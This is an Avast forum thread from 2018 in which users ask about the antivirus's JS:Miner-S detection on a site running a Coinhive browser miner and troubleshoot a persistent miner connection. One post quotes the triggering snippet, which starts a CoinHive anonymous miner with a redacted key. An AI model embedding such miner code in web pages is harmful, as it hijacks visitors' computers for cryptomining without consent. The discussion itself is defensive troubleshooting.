Title: JS:Miner-S
Post by: TheOwner on April 16, 2018, 05:26:01 PM
Hello,
Avast block one site and mark it as JS:Miner-S. Athough i know on that site is coinhive miner, i use ublock origin to block it. So why Avast detect it? It is some new version that ublock not block?
Before that it was Miner C now is S, what is difference?
Thank you.

So i found Avast detect miner when i visit that site and tell me miner was found. Strange is when i look what file was blocked, it not block one javascript, it block url of that page, not file.
Also coinhive script  is blocked by ublock origin, if i disable it, avast detect Miner C.
So i dont uderstand what version S means. It not block any single file. It seems Avast trying block known mining sites, but that site work even avast tried block it.

The .js file at that location changes, you find many previous versions (different MD5) searching VT

Yes it is possible, but if i go that site without ublock, avast report 2 detections. One C version that marked js. file and S version which marked html code. But when i block that js file by ublock, avast still report me S version even that miner cannot work without that js.

I found S version trigger this script:
(script)
   var miner = new C o i n H i v e. A n  o n y m o u s('XXXXXXXXXXXXXXXXXXXXXXXXX', {
   // threads: X,
   throttle: X,
});
   miner.start();
(/script)

Today i no longer see JS:Miner-S detection on that site although that code is still present. I saved html code to .txt file and send to Virustotal and also right clicked that file  -> scan by Avast. Both detect JS:Miner-S but web shield not. When i copied that code here, avast detect too. That means this code is whitelisted on that site?

Hello all!

I have this virus for a month or two and it connects on a site when I start firefox. Avast blocks this attempt but he doesn't show where the virus is located, or perhaps it is in firefox. Can somebody help me locate it?

Yes "he" does   

The JS:Miner-S [Trj] is detected on the website (-http://siska.tv/  = a porn site ) and not in your computer, however you have something trying to connect to that URL. Tried to clear your browsers surf history/cache ?

Open if Firefox this URL.

Code: [Select]
about:serviceworkers
And remove/unregister everything it lists.

Report status after that.

I found on the right side the option for cleaning up firefox, I used it and no change, the miner is still present.

Also Malwarebytes alarms me about additional connections to diverse sites from malware that it can not find.

Lets check if router is one to blame. Set Google DNS on your PC. Instructions -> https://www.windowscentral.com/how-change-your-pcs-dns-settings-windows-10

Restart your PC after this and check if notifications will appear again.
